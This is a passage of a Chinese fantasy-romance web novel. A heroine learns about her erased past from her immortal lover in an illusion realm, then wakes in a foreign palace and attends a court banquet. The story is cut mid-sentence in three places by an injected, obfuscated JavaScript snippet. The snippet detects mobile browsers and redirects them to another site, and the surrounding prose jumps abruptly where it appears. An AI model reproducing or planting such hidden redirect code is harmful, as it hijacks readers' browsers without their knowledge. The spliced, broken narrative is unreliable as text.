是幻境的缘故吗?医鹿山上冰冷的触感似乎才是不该存在现实的虚幻。 “这里是幻境,你的心声,我也能听见。” 听他冷不丁道出真相,我赶忙停止荒唐的思索,被他牵引着走到一棵开得最盛的梅树下。白月光下,凡间神树闪着寒芒。 柳砚清抬头望着它们,神色溶进月色,澄静又惆怅。 他开口道:“抱歉让你一个人留在人间。幻境中的一个时辰,不及人界的一瞬。他不会有事,放心吧。我会替你救他,相应的……” 柳砚清平静的脸转向我,深沉的眸子注视我,“你也要告诉我,你尚未对我坦白的事实。” 团团不安的阴云笼罩着我,隐瞒他的事太多,愧疚压抑着我。无论是和宁安桥的暧昧还是深宫中意/淫的日夜。 我不禁皱了皱眉,悄悄叹了口气:“……你都知道了?” 他抬手抚平我额头的褶皱,说:“正是不知道才要问你。何苦一个人承担呢?你难道不相信我吗?” “不是的!我只是……不敢告诉你。” 不敢告诉你,以及,不知如何告诉你。 “看着我。我是谁?” 我疑惑地看着他,“柳砚清?” 逆着头顶不存在但又晃眼的光,他微微前倾身体,又道了一遍:“再看仔细一点。” 原本纳闷,被他又问及,莫名多出了几分不安。 但我眼前的人可是我日思夜想之人,我比谁都看得仔细,不会有错。 他浅笑着抓起我的手掌送到唇边,温热的嘴唇,似有若无的拂过我的掌心,我忍不住蜷起指尖。 语气里是无尽的温柔,让我瞬间产生了站在面前的人是颜卿,而不是砚清的错觉。 “柳……”我咽了口气,“砚清。” 柳砚清含笑望着我:“把所有我不知道的事情告诉我,好吗?你想问的,我也会毫无保留地坦白于你。” 毫无保留……真的能做到毫无保留吗? “现在吗?在幻境里,我不会醒来,又全忘了吧?而且,为什么这么突然,是发生了什么吗?” 柳砚清摇了摇头:“这次不会忘记,我答应你。非要说为什么……因为被骂了吧。” 震惊之余气愤更多,我一下愤愤道:“谁敢骂你!我去揍他!” “是你亲爹。” …… 我:“抱歉……恕我无能为力。” 那可是方大仙啊,抛开亲爹不谈,我也打不过他。 柳砚清转身牵我走向梅林另一边,缓缓道:“若非你呼唤我,此番我也会来寻你。大仙交代,至少要向你坦白,不可欺骗你。” 我跟在他侧后方:“所以这是……这是要对我重生以来所有彷徨做最终注解?” 柳砚清边走边转过头看了我一眼:“你想知道吗?” 我低下头。 “我想……但是,更害怕知道。我无数次想解开过去的谜团,有太多匪夷所思的问题困扰着我。我想不明白那些事情是为什么,为什么会有那么离谱的想法……我尽量让自己不去想,不去在意,顺其自然就好。可是……” 我停脚抬头看向他。 “可是关于你的事,我没办法置之不理。” “为何?自你下山后,我们只见过两次面。” “真的吗?” 我紧张得捏了捏他的指尖,又顿了顿,用一副不太确定的口吻开口。 “师尊……砚清不是一路都跟着我,暗中保护我吗?我在清溪山遇到的人,不是方大仙,是你。” “你是如何猜到的?” “梦境。那天,我见到了方大仙,没有被抹除记忆的梦。他自称吾,而你说的,是我。” 我猜是那日梦境后,方大仙愤怒起身离开后便去寻了柳砚清,顺带骂了他一顿。 “果然是这里败露了呢。东婝元君……你的二姐,也说过同样的话。”柳砚清就地变幻出两只茶盏悬浮于空,“许久没听你敞开心扉,谈上一谈了。要先手还是后手?” 茶香氤氲,我没敢端起,捏紧拳给自己壮了壮胆。 “还是我先坦白吧。我……” 像是愧疚又像害羞,我了半天才道出四个字:“我怀孕了。不对。你离开太久,孩子已经出生了……” “嗯。” 柳砚清的回答意外镇静。 也是,仙人寿数漫长,见怪不怪了吧。 我继续坦言:“虽然我不知道人的身体是否能同时怀上两个人的孩子,但是……但是……师、砚清的孩子……不在了。” “你怎知那是我的孩子?” “绝世仙骨,星君下凡……黑无常告诉我的。我与他们做了交换,代价是我腹中的一个孩子。他们带走了绝世仙骨,留下了另一胎……我取名为星辰,为保她平安,送回了信州府。绝世仙骨再世有必要的先决条件,所以……那孩子只会是你的。对不起……我……” 眼前的人没理由地浮出浅浅笑意,数十只仙蝶从他袖口中飞出,翩跹在我们的头顶,仿若一片星辰大海。 一只闪耀着金色光芒的仙蝶想我飞来,我自然地伸手接住它,看着它在掌心变成细碎的尘光。 宛若星辰…… 我忽然很想念她,眼眶也不禁隐隐发热。柳砚清攥紧我的手,指腹揉着我腕处的穴位。 “没忘我的话,沉心静气吧?”茶盏中浮起的热气散去,柳砚清用指尖碰了碰杯壁,问道:“想喝什么茶?” “想喝……甘露,或者腊雪水。” “好。” 入口依旧是熟悉的甘甜,无法忘怀的药房初遇与山林交缠。或许经历了太多,生前的记忆与我而言已没那么重要。 我更喜欢现在的自己,喜欢平凡的自己,纠结自卑但享受当下的自己。 “竹村那日,我听见了你和闻笙的谈话……此番,是我与闻笙的第二次见面……对吧?” 虽然那日后面他们说的话被一股无形的力量阻隔,但仅仅是这一句也苦恼我许久。 柳砚清抬眸,水雾氤氲间他的眼神格外清明:“嗯。不是。” “……如果不是,那是第三次?第二次是关于张氏棋的事?玉笛杀了人,我拿它跟地府做了交换。那在上一次是……啊!” 忽然灵光一闪,我惊着道:“难道是……璃坊做发簪?” 柳砚清点头说:“闻笙是你此生邂逅的第一个人。” “此生?你是指重生后的这一生?” “我指你出生以来,活了三千多年的一生。” “……不会吧……我以为是……” “是什么?” 我以为是你,我以为是颜卿,我以为是任何人都没想过会是闻笙。 破碎的记忆如潮水涌来,我捂住快要裂开的头。 “方大仙消除过我诸多记忆,我现在……好乱。” 微凉的手掌覆上我颤抖的指尖,柳砚清的声音似乎从远方传来:“沉心静气,只管说你能想到的,不必勉强自己。” “那紫衣仙子,我们曾在利州的山村见过,那日的梦里也有她,她也在蓬莱第几宫……她是谁?还有那清秀的男子,他们与我长相皆有几分相似,是为何?” “你猜为何?” “还有一人,山村行医那日还有一男子,他们仨……是我的哥哥姐姐?所以那日我问你他们为何溺爱我,却不肯来见我是因为……” “嗯。” 我忍不住乐呵出声,眼角却有些湿润,躁动的双脚不禁左右来回走动。 柳砚清温柔笑问:“这么高兴?” 我咬着下唇窃喜,“有家人嘛,当然开心啦。” 那时砚清说溺爱我的哥哥和二姐……还真是的。 说到家人,我又想起了此生遇到的第四个人宁安桥。 “说来,你还记得宁安桥吗?” 柳砚清说:“当然。” “我居然也曾见过他,还是在梦里。” 柳砚清歪头反问:“梦里?” 我也歪头看他:“难道不止梦里?” 柳砚清假装无奈叹息道:“他既是我的大弟子,你就不曾想过在医鹿山见过他?” 我如梦初醒:“对啊……我怎么把这忘了。少年时期的宁安桥……不对不对,他自己告诉我说,只与我在梦里见过一次的。不是我脑子不好使的问题。” 柳砚清露出个无奈的笑:“那时你跟安桥闹了一番,怒气之下,把彼此相关的记忆都抹去了。” “我吗?我可以做到吗?我这么厉害吗?我脑子不是猪——咳咳,笨脑子吗?” 柳砚清屈指弹了下我的额头:“还算有自知之明。不是你,是你方才说的秀气之人。西雨真人,是你的三哥,最擅长消除记忆。” 那晚梦境出现的第三个人,那居然也是哥哥?可我怎么觉得他看我眼神不太像呢……谜团正在逐渐散去,内心也到解答开朗不少。 我揉着额头继续:“夏逸飞也曾见过我,说我给一个叫韩风的姑娘赐了名做了约定,在东凉校场救过他。他还说……我死过一次,是跳了江。那条江,一定是西洲孤岛和旷野之间的那条江吧。” 柳砚清的笑意倏地凝固,一时,他没有说话。 “是。” 终于听见他回话,我赶忙又问:“我跳了江,砚清是如何救下我的?莫非你也……” “跳江与我救下你,并非同一件事。” 我呼吸一滞:“什么……?” “起死回生之术,施术者只可对一人使用一次。这项术法是有人教授与我,他先救过你,没料到你会再死一次。所以我救你,是第二次。” “方大仙?” “嗯。” 我更不明白了。 “为什么?我为何两次去?是要救谁?为何宁愿去两次,也不求你们救人?” 脑中似有一根弦忽地绷紧,扯着两端的太阳穴,不许我深究思考。 柳砚清说:“因为大仙不肯帮你。我曾与你说过的,凡人的命数自出生起便确定,逆天改命,即是违抗天命。方大仙不能帮你,我也不能。于是你选择了西洲岛,循着传说,想找到能帮你起死回生的人。” 我看见他手中的茶盏消失,变成一支即将残败的白梅。与周围娇嫩的白色花瓣不同,那支白梅不属于幻境,看上去已经被折下许多年了。 “那人是你此生的其中一劫。大仙曾告诉过我化解的办法,可我失败了。你选择了另一条路,两次。” 随着他话音落下,那支本就要死亡的梅破碎成数亿颗残渣飘散。 绷紧的弦断裂,我听见自己发出不像自己的干涩声音:“违抗天命……起死回生……我为了那人义无反顾,你为了我违背医鹿山的规定……这、这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16056783|179140||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 说不通啊……抹除记忆的目的是什么?不该我记住惨死的滋味,不再重蹈覆辙吗?” 我开始语无伦次,柳砚清按着我的头靠上他的胸膛。思绪恍惚间回到了大梦初醒的第一面。 “这个问题先放一边吧。” “嗯……” 抚平内心的药香隐隐藏着一股花香,好在不是忘忧罗的香。 “我说了那么多,该轮到师尊了。” “还有一人没问,为何不问?” “颜卿吗?关于他的事暂且不问,想留在最后。此刻,我更想听听砚清的故事。” 风裹挟着花香送来凉意,我们站在最粗壮的一棵梅树下。 “从何说起呢……柳砚清的柳姓,是方大仙给的。医仙给我取的名,是砚清。对外,我是医仙葛榆收养的孩子,但其实……医仙,是我的亲生父亲。绝世仙骨降世的先决条件,除去绝世仙骨的孩子外,便是道行颇深的两位神结合生下的孩子。医仙与那人偷偷在凡间生下我后,独自抚养我长大。毕竟是不能公开的关系,医仙从未告诉我母亲是谁。” 幻境没有尽头,漫无边际的梅林幻化成云海。此刻我们不似在树下,而是医鹿山医仙殿前的石阶上。 “在人间修行了三百年,天君召见,要我拜入赤方神仙座下,修习起死回生之术。也是在蓬莱第几宫修行时——我认识了你。” “可你刚才说,你不是我邂逅的第一个人。” “蓬莱仙岛的时间流速与人间不同,也不是按照天上一天人间一年来计算的。天宫、人界、蓬莱,有各自的时间算法。” 他的回答似乎回答了我的问题,又好像没有。 我皱着眉抓挠头顶:“好复杂……所以,第一个人是闻笙,你是第二个人?” “第二是一个叫顾辞的人。” “……你是第三?” 柳砚清似是起了玩笑心,继续跟我掰扯:“如果给‘韩风’赐名算作是与夏逸飞的初见,第三是他。” 我不服输又跟上号:“第四!” “那人,你很快会与他见面。” “第五!总该是了吧……”我都快说地没底了。 “也不是。” “……我怀疑师尊你在逗我玩儿,看我笑话。” “我是第六个。” 柳砚清眼中似乎划过一丝暗色,随即若无其事地喝起眼前的茶。 失落转移,我懊恼地抱紧他垂下的手臂,额头靠上他的臂膀。 “……对不起。” “为何又道歉?非要道歉的话,一个对不起可不够。” 他说的有道理。 我踮脚凑上前,在欲要含住他的唇瓣前被他用指点阻拦。 “现在?不怕又误了你的正事?” “对啊,那我先忍着。” 我准备退开,腰上被一股力量揽住,我忽地贴上他的胸膛,被他带着一同往后倒去,落在白梅花瓣铺成地毯上。 柳砚清仰头望着幻境中的梅林,眼神动了动。忽然撇开了话题说道:“幻境的时间是静止的。这是南风仙子仅有擅长的仙术,南柯浮梦。” 南柯浮梦……南风仙子的幻术…… 我略略沉思片刻,问道:“那日在医鹿山后山,你是看到了幻境,所以把我认成了她……‘我’吗?” “……是。” 后山那天我并未看到幻境,但柳砚清离奇的状态就像中了邪似的,且在次日醒来后就跟忘得一干二净似的,没再提起。 我侧耳靠近他心跳的位置,聆听他缓慢跳动的心声,问:“可她的仙术,你怎也会?” 柳砚清眸光中流露出融融暖意,落在我后背的手渐渐收紧,将我拥得更紧。 “契阔成夫妻,连理共灵犀。这是仙界的天律,自两人结为夫妻后,仙术共通。” 他的右手执过我的左手手腕,在我们眼前展示出我手链上的玉,和他右手手腕上形状互补的玉。 “此为同心玉,霜洲地界千年冰窟中挖掘出的一整块玉,能感知彼此。即便是心里默念,也能听见对方的声音。前提是两人……有过肌肤之亲,灵肉相合。” 我笑着张开左手五指扣住他右手的五指,些许自豪地问:“所以师尊这算是承认了吗?” “承认什么” 明知故问。 我笑着蹭了蹭他。 “结发为夫妻,恩爱两不疑……我猜,与我正经拜过堂的人,不止一人吧。那个叫贺祈源的人,死在了我与他成婚的当夜。八年前,我从颜卿的婚礼上被人带走……那不是被人带走吧,是我自说自演的一出戏吧。是我害怕与人成亲,所以才……是玉笛吗?杀了贺家三将军的人,是玉笛?” “玉笛确实会感知你的内心。若你有危险,玉笛会不顾一切保护你。但贺祈源之事不是玉笛所为。八年前的‘逃婚’……倒确实是你主动离开的。” “恢复记忆的关键到底是什么?找到九个男人和知晓真名,两个条件缺一不可吗?” “那是欺骗大仙的话,连同当初他给你的玉器,同你交代若不成愿便会消失的话,都是假的。起初变为发簪的玉石,也是霜洲地界的神石,是我与那人一起想出,为了骗过大仙的幌子。你生前最后的祈愿是活下去,大仙便以此为由。” “……所以我下山,到底是了为什么?” “是为了重走生前的路。完成你与我的约定。” “这是师尊的安排?方大仙对此事一无所知?他可是大仙,怎么可能如此轻易相信你的话?” “倘若这是他挚爱的三个孩子一起告诉他的呢?” 我被他这番话噎住,一时间又气又笑。 转念又想起什么,我双手撑在他脑袋两侧,认真俯瞰他平淡无波的面容。 “师尊!” “说了不许叫我师尊,你倒喊顺口了。” 我摇了摇头,将他带入脑海的别念甩出去。 “婚礼乃大事,就算是我……就算是风流了半生的我,应该也不会做出随随便便与人成婚的蠢事。所以现在——” 我坐起身,拉着柳砚清对我对坐。 刚要开口,我发现在自己的姿势还不够正式,又调整成跪坐,双手扶在膝盖上。 礼尚往来,他也端正了姿势。 一时之间,我们像是进入了某种仪式,格外真挚。 “砚清,就在这儿!就现在!幻境中,梅林下,我们成亲吧!” 71. 三秋桂子 白梅树下,幻境飘渺。两个人默契地笑了。 我侧眸看他,好奇地从他耳侧的墨发上捻下一片花瓣,问道:“你笑什么?” 柳砚清唇角微扬,眼底映着细碎的梅影和我的笑脸,学着我的语气和我的话问:“你笑什么?” “我笑——你先说。” 他低笑一声,“一起说。” 我忽地伸手抵住他的唇:“等等!规定一起说几个字,否则待会儿我说三个你说两个,听不清。” 柳砚清垂眸看我,睫毛在眼下投落一片阴影。宠溺地握住我的手,柔软的双唇出其不意地吮吸我的指尖。 “行。那,三个字。” 我涨红着脸,默默抽回手,掩盖羞涩扳着手指数。 “没问题,三个字是吧。三、二、一——” 柳砚清:“重婚罪。” 我:“重婚罪!” 异口同声。 我歪头挑眉看他,得意洋洋地故意语调拐着弯说:“不愧是我们,师徒同心啊。” 柳砚清嘴角扬起笑意,眼底却毫无开心可言。 “看来你都知道了。” 我轻哼一声,指尖挑起他垂落的一缕发丝。 “你刚才的话里有漏洞,被我精准捕捉。” 他静静看着我,待我说下去。 “契阔成夫妻,连理共灵犀。这是仙界的天律,自两人结为夫妻后,仙术共通。你承认我们成过婚了。” 他沉默片刻,终于低声道:“嗯,我承认。” “那当时在医鹿山殿前干嘛骗我?” 柳砚清怔愣一瞬,再次看向我时眉头微蹙,一字一顿重复道:“医、鹿、山?” 我盯着他的眼睛,撇着嘴一字一句道:“嗯,我说兰因絮果,你说你我从未成亲,用不得那个词。” 柳砚清沉默,眼底情绪翻涌,却终究归于平静。 “师尊不会忘了吧?年纪大了,开始键忘了?” 他无奈一笑:“记得。” 白梅簌簌而落,在柳砚清肩头覆了一片薄雪。 我往他身上凑了凑,戳了戳他走神的脸。我知道柳砚清从不愿跟我提起过去我俩的事,也知道犯错的是我,三番五次背后伤害他的人是我……他到底喜欢上我哪一点了? 要现在做那种事吗……用身体道歉……下流的方式……突然有点讨厌自己…… 可当我正要伸手扒开柳砚清的衣裳,他握住我的手送到唇边轻轻一吻,沙哑着柔声说:“眼下,你先睡一觉吧,我帮你救人。” 我瞪大眼睛,不是因这久违的亲密被打断而惊诧,而是他又要离开我。 “你要走了吗?你又要走了吗……” 末尾的声音弱下去。两年不见,不过说了几句话,他又要走。 白梅簌簌落在我们交握的手上,他指尖的温度比飘落的花瓣还要冰凉。柳砚清垂下眼睫,在苍白的脸上投下两片阴影。 “我们很快会再见的。” 我急切地追问:“真的?!你会来东凉皇宫见我吗?” 柳砚清没说话,冰冷的手掌张开与我十指相扣。 神情一如既往的沉着冷静,我不自禁地往他怀里靠了靠。 脸庞下是冰冷的身体和平稳的心跳,头顶是炙热的呼吸,身体贴近的地方有一团小小的火苗蠢蠢欲动。 我抬起头,柳砚清的视线也低垂下来。 “一定要活着等我。” 我强扯出一个笑容:“我很惜命的,不会寻死觅活。” 柳砚清忽然苦笑一声,抬手拂去我发间的落梅。 “惜命的人,可不会两次自寻死路。” 临别的吻是酸涩的,不争气的我不出意外地,在他的舌尖尝到了咸涩。 泪珠悄然滑落,没入我们相贴的唇间。 幻境的风渗着丝丝凉意,卷起他散落的发丝,与我的长发纠缠在一起。 他的手掌托着我的后颈,指腹摩挲着我耳后的肌肤,带着令人心碎的眷恋。 白梅如雪,我们就这样,不舍得分开。 眼前的世界开始扭曲旋转,白梅树化作无数光点,如同仲夏之夜的流萤般缓缓消散。 我拼命想抓住他的衣袖,却只握住一把冰凉的空气。 意识一沉,我闭上眼睛,坠入了一片无尽晦暗的深渊中。 “砚清……颜卿……等我……” 【烟波醒渡】 一阵头痛欲裂下,我缓缓睁开了眼睛。 床边坐着的人已经抱着双臂打起瞌睡,周围的环境也是熟悉的。 我伸手揉了揉太阳穴,试图坐起身,但头痛得厉害,腰也意外地酸痛,不由倒吸一口气,又躺下。 守在床边的人被动静吵醒,直起身子询问我的状况。 我摆头回答:“我没事了……刚才的仙人呢?” 夏逸飞微微一愣,手背试了试我的额头的温度,轻声回答道:“东凉皇宫只有你一个仙人。你替我消褪了手臂上的墨色,然后晕过去了。我请了御医替你诊治,阿丘在煎药,你躺好不要乱动。” 但是我明明记得是柳砚清出现,说我帮我消褪夏逸飞手上的不明物体,幻境中玉笛自己回到我手里的…… 对了,玉笛! 我赶忙追问:“那支笛子呢?” 夏逸飞指了指墙角孤零零的玉笛:“喏,还在那儿。它好像生气了。” “说什么胡话呢,一支玉笛还能看出心情?” “骗你作甚。我捡过来给你看看?” 他直起身子,作势要往墙角走。见状不妙,我赶忙制止。 “别!我没能耐救你,我自己来吧。” 突然激动,又因动作太大扯到筋骨,疼得倒吸一口凉气。 我这是睡了多久?身体都僵硬了。 夏逸飞见状嗤笑一声,却还是停下脚步,抱臂走回床榻边,按着我的肩膀手动帮我躺下。 “躺好别动。过几日陛下回宫,会在月华池举办宴会,你马上能见到陛下,得先把身子养好。” 我微微睁大眼睛:“东凉皇帝?拓跋什么来着?拓跋枭?他终于回来了?” 他漫不经心地嗯了一声,抬手将我一缕散落的发丝别到耳后:“拓跋枭,东凉枭雄,其名如人——桀骜如枭,悍勇难驯。明日我便启程迎驾,我不在的日子,莫要胡言乱语,惹出祸端。” “多谢大将军提醒,我还没那么傻。”我撇撇嘴,故意拖长了音调。 “我看你就是那么傻。” 他忽然俯身逼近,阴影笼罩下来,带着淡淡的檀香气息。 “那玉笛若是被你摔坏了怎么办?” 我下意识往后缩了缩,却仍梗着脖子道:“玉笛和救人,我肯定优先救人啊。医者仁心,我好歹也算半个大夫嘛。” 夏逸飞忽然低笑出声,眼底闪过一丝促狭:“还说你对我没动歪心思?” 我白了他一眼:“……自恋。夜深了,将军快离开吧,本宫要休息了。” 他直起身子,袖摆拂过床柱,带起一阵微风,眼底的笑意更深了几分。 “第一次听你自称本宫呢。那臣,就此告退。” 确保夏逸飞完 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“妹妹到东凉已有月余,住得可还习惯?也没空去看望妹妹,生活上若有什么不便,只管吩咐下人去置办。东凉的服饰穿在妹妹身上衬得肤白貌美,长得更水灵了。” 我保持着得体的微笑:“蒙娘娘记挂抬爱。春来殿景致清幽,臣妾住着甚是舒心。” 李皇后轻轻颔首,似在思量什么。 她忽而低声道:“唉,当初我本将你安排至叠翠殿,大将军执意要你进春来殿。还望妹妹莫怪将军。” 她顿了顿,目光似不经意地扫过我的神色。 我笑意盈盈作答:“大将军安排的甚合我心意,娘娘不必担心。” 李皇后眼中闪过一丝讶异,随即又恢复成温婉的笑意:“甚好。今夜东凉盛宴,你初来乍到,不必拘礼,且尽兴而归。” 我再度欠身,低眉顺眼地应道:“承蒙娘娘照拂,臣妾不胜欣喜,今夜定当细细领略,不负盛情。” 李皇后离开后,我一把拉过阿丘道出我的猜疑:“前任皇后是被人害死的吧。” 阿丘瞬间急了,慌张着四下张望,确认没人听见:“公主!这话咱们悄悄在春来殿说,小心别被人听见啊!” “瞧你急的。” 我望向李皇后离去的方向,那袭赭红翟衣早已消失在宫道尽头,唯有檐角铜铃在风中叮当作响。 “难怪姜妍说皇宫里的花,都是用人血浇灌的。” 72. 恨相知晚 “阿丘,我好像……有急事。” 阿丘立即紧张地凑近:“公主可是哪里不舒服?” 我故作慌乱地摸了摸空荡荡的袖袋:“我忘记带手帕了。嘿嘿,你能跑一趟吗?我在这儿等你。”我扯出个讨好的笑,顺手替阿丘理了理被风吹乱的鬓发。 “那公主可千万别乱跑,在这儿等我。” “去吧去吧。” 如此一来,我也能忙里偷闲。难得有幸光临月华池,怎可直接赴宴,错过了热闹背后的瑶池亭呢。奢华不及月华,瑶池却有三千白莲,夜里河灯点亮,假山流水涓涓,惬意妙哉。 我站在池水边发呆,指尖无意识地拨弄着腰间东凉配饰的流苏。月色中的瑶池泛起粼粼波光,三千白莲在晚风中轻轻摇曳,倒映在水面的河灯如同散落的星辰。 突然,听见脚步声从假山后传来,碎石被踩得沙沙作响。抬眼望去,瑶池另一岸边站了个穿着藏青色长袍的男子。他身形魁梧挺拔,肩膀宽阔得几乎能将夜色撑开,负手而立时,通身透着不怒自威的气势,似在观赏池中盛放的白莲。 他似乎察觉到我的目光,微微侧首,与我对视。隔着朦胧的池面,黑压压的氛围,我看不清他的神情,但仍礼貌地颔首行礼,而后转身准备离开。 没想到,身后响起脚步声,不紧不慢。我犹豫着回头看去——那人竟朝我走来。藏青衣袍被晚风拂动,袖口翻卷间露出内衬的月白暗纹。四周无人,怕是冲我来的,只好站在原地等。池面的风忽然变得有些凉,吹得莲叶簌簌轻响。 他靠近后无人开口,默默站在我身侧,两个人就这么莫名其妙并肩站在一起欣赏瑶池美景。 嗯?嗯??这人谁啊? 我偷偷瞄了男人。野兽的警觉都比较高,他立马也瞄我一眼。 两个人就这么你看我,我看你,活脱脱两尊……傻子。 他剑眉微扬,我忙垂眸抿唇; 他轻咳一声,我佯装拂袖整襟; 他抬手抚过鼻梁,我即刻低头盯着绣鞋。 一来二往,连个正面都瞧不见。 忽闻“公主”一声响,原是阿丘在廊中呼唤寻我,方才打破了这令人窒息的静默。我又看了他一眼,想了想还是点头示意后再离开。 宴会摆设完毕只等入座。 尽是些寻常百姓不常见的瓜果禽肉,除了蜜瓜和羊肉,我通通叫不出名字。我正欲入座,忽然从身侧掠过一道纤弱身影,那人脚步虚浮,一个踉跄撞在我肩上。 “抱歉……” 眼前的姑娘虽用胭脂水粉精心妆点,却掩不住眼底的黯淡,唇上朱色也盖不住病态的苍白。 “我没事。倒是……你还好吗?” 她有气无力地嗯了声,而后走向皇后身边的位置落座。 阿丘看出我的疑惑,主动介绍道:“那位是陈美人,刚嫁进宫时特别受宠。今年春说错了话,惹恼了陛下,自那之后,陛下再没去过兰薰殿。” “陈美人身子是得了什么重病吗?” “日思夜想呗。唉,好端端一美人,生生熬成这般模样。陈美人得宠那会儿,花容月貌,宛若神女下凡。陛下也是被美人容貌吸引娶进宫的。黄金珠宝三天两头往兰熏殿送,羡煞旁人。” 我若有所思地点头,在自己的位置坐下,继续问道:“陛下不知道陈美人相思成疾吗?” 阿丘边为我斟酒边叹息道:“怎会不知,不在乎罢了。” 我晃着酒杯轻笑,杯底映出万千灯火。所幸自己远离是非,离腥风血雨的争斗远远的。 月华池灯火通明,几十盏金灯笼把汉白玉台阶照得亮堂堂的,充满暖意。大殿里摆着几十张黑漆矮桌,桌上摆满了好吃的。侍女们捧着鎏金银壶,给大臣们倒着马奶酒。 乐声响起,琵琶和胡笳合奏着东凉乐曲。窈窕婀娜的舞女翩翩起舞,模仿雄狮和猎手的舞者激烈搏斗。歌台上由于歌声响亮,有如春光融和;舞殿上由于舞袖飘拂而充满寒意,有如风雨凄凉。 坐在高台上的男人是我为举办仪式的“丈夫”——东凉皇帝·拓跋枭。 前任东凉皇帝驾崩时,拓跋枭年仅三岁,虽登上皇位,实权皆掌握在母亲杨太后手中。十八岁时,杨太后病重无法参与朝政,拓跋枭亲政,开始推行改革、颁布新律。其中最成功的,当属“大将军选拔制”。无论何方人士,只要能在地牢存活三年,且活着一路杀到将军校场,取下时任大将军的首级,最终活下来的人便是新一任东凉大将军。在拓跋枭十年励精图治的统治下,东凉势力远超赵国,曾经的西北小国,转眼成为四国中最危险的存在。 也不知道他是忘记我这个和亲公主的存在,还是有意不来春来殿见我,也只字未提仪式重办一事。婚礼还有补办的说法吗?可能东凉没有吧。 夏逸飞没再日日光临春来殿,阿丘偶尔带来消息告知夏逸飞每日都在忙什么。这小姑娘是不是误会什么了…… 虽然在东凉皇宫不受待见,我毕竟还有公主的身份撑着,也有一定的位置。东凉皇帝身边坐着皇后,挨着过来是陈美人……以及一群不认识的女人。我并不喜欢这里,可以选的话,我挺想坐在最末端,可以的话,我想坐在柏夫人身边。 “想和她认识认识……” 不仅是邻居,还是同病相怜,或许她能成为我在深宫日子里最好的慰藉。 身后路过服侍倒酒的侍女听见我的声音,忽地俯身凑到我身边询问:“公主有什么吩咐吗?” 我局促地摇了摇头,端起面前的酒盏:“没、没有。” 宴会持续到后半夜,殿内的熏香混着酒气在脑中盘旋。阿丘如何带我回的春来殿,脑袋晕乎乎的,根本记不清。 一觉醒来,已是日晒三竿。阳光透过茜纱窗格在锦被上投下斑驳光影,晃得人睁不开眼。 “好渴……” 我赤着脚踩在冰凉的地砖上,提过茶壶,对着壶嘴便开始解渴。 “啊——活过来了。” 招呼阿丘去给我煮一碗莲子羹解解馋,我则伸着懒腰在后院精心照料我的小花小草。 这时,墙对面传来人和人说话嬉笑的声音。银铃般的笑声混着棋子落盘的脆响,隔着青砖墙也听得真切。 那边好热闹啊…… 趁着阿丘不在,我偷偷趴在门口看一眼,就一眼,应该不会被发现的。 我推开一点门缝偷窥,秋雨殿有一棵巨大的梧桐树,深秋季节树叶枯黄,簌簌飘落。两位姑娘蹦蹦跳跳着,嘻嘻哈哈,好不快乐。 “公主?您怎么跑这儿来了?” 阿丘的声音在背后炸响,惊得我撞上门框。 “阿丘?!你不是去膳房找什么吗?” “嗯,公主要的莲子羹做好了,这在屋内放着呢。话说公主趴在秋雨殿门口做什么?” “我——” 我话未出口,门内一声吼叫,喝止了我们。 “门外什么人!” 居然败露了! 我和阿丘做贼心虚,局面一时陷入尴尬。我讪讪推开门,正了正衣冠,露出诚恳的表情欠身行礼道:“柏夫人好。” 其实我根本不知道不远处的两位,哪一位是柏夫人,就看谁回我的话了。 柏夫人正同身边的婢女跳跃着捕捉飘落的梧桐叶,听见我的声音,含着浅笑的眼神露出讶异。 “你是……?” 微胖与我年龄相仿的姑娘回过身,我们四目相接。我跨过门槛走进她同样简陋的院子,走到她身边。正要道出姓名和来意,她突然提声喊道:“啊!赵国清漪公主!我见过你。” “夫人见过我?” 难道是昨夜的宴会?距离那么远也能看到吗? “下雨那日在殿前广场,公主初来东凉,我也在现场。” “啊……” 原来是那天。 柏夫人和蔼地笑着问道:“不知公主来找我何事?” 我眼神躲闪,怪不好意思地答道:“嗯……我听见这边挺热闹的,一时好奇,就……” 柏夫人露出夸张震惊的表情:“春来殿?原来公主住在春来殿吗?听不见声响,我以为隔壁照旧空无一人。既然住下为何不来秋雨殿寻我?” “我怕打扰了夫人。” “不打扰不打扰。”她想起什么,“你等我。” 柏夫人跳进荒草没过小腿的草堆里弯腰翻找,翻找了好一会才捡起一个彩色羽毛做的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“小妹演奏得真好……再给姐姐吹奏一曲好吗?” 那声音清冷却温柔,带着梦中曾听过的熟悉语调,如微风拂过耳畔,令我心头一颤。 紫衣仙子……?是,姐姐……? 柏夫人与紫衣仙子并不相像,可这份温暖却如出一辙,像是久违的炉火,驱散了心底的寒意。我攥紧指尖,暗暗下定决心—— 我一定会离开这里,找回记忆,找回家人。 “深居幽宫,柏夫人不曾想过离开吗?” “不曾。” 开口的声音严肃又郑重,我怔怔地看着收起嬉笑如此认真的柏夫人。 “假设呢?我知道无法离开,但如果可以的话,你也不想离开吗?” “我离开了,后果是什么?是柏家上下死无葬身之地。株连九族的罪,我怎敢去犯。” 我的面色沉下来,心情也变得沉重。柏夫人边笑边小心翼翼地用手绢擦拭我额头上的汗珠。 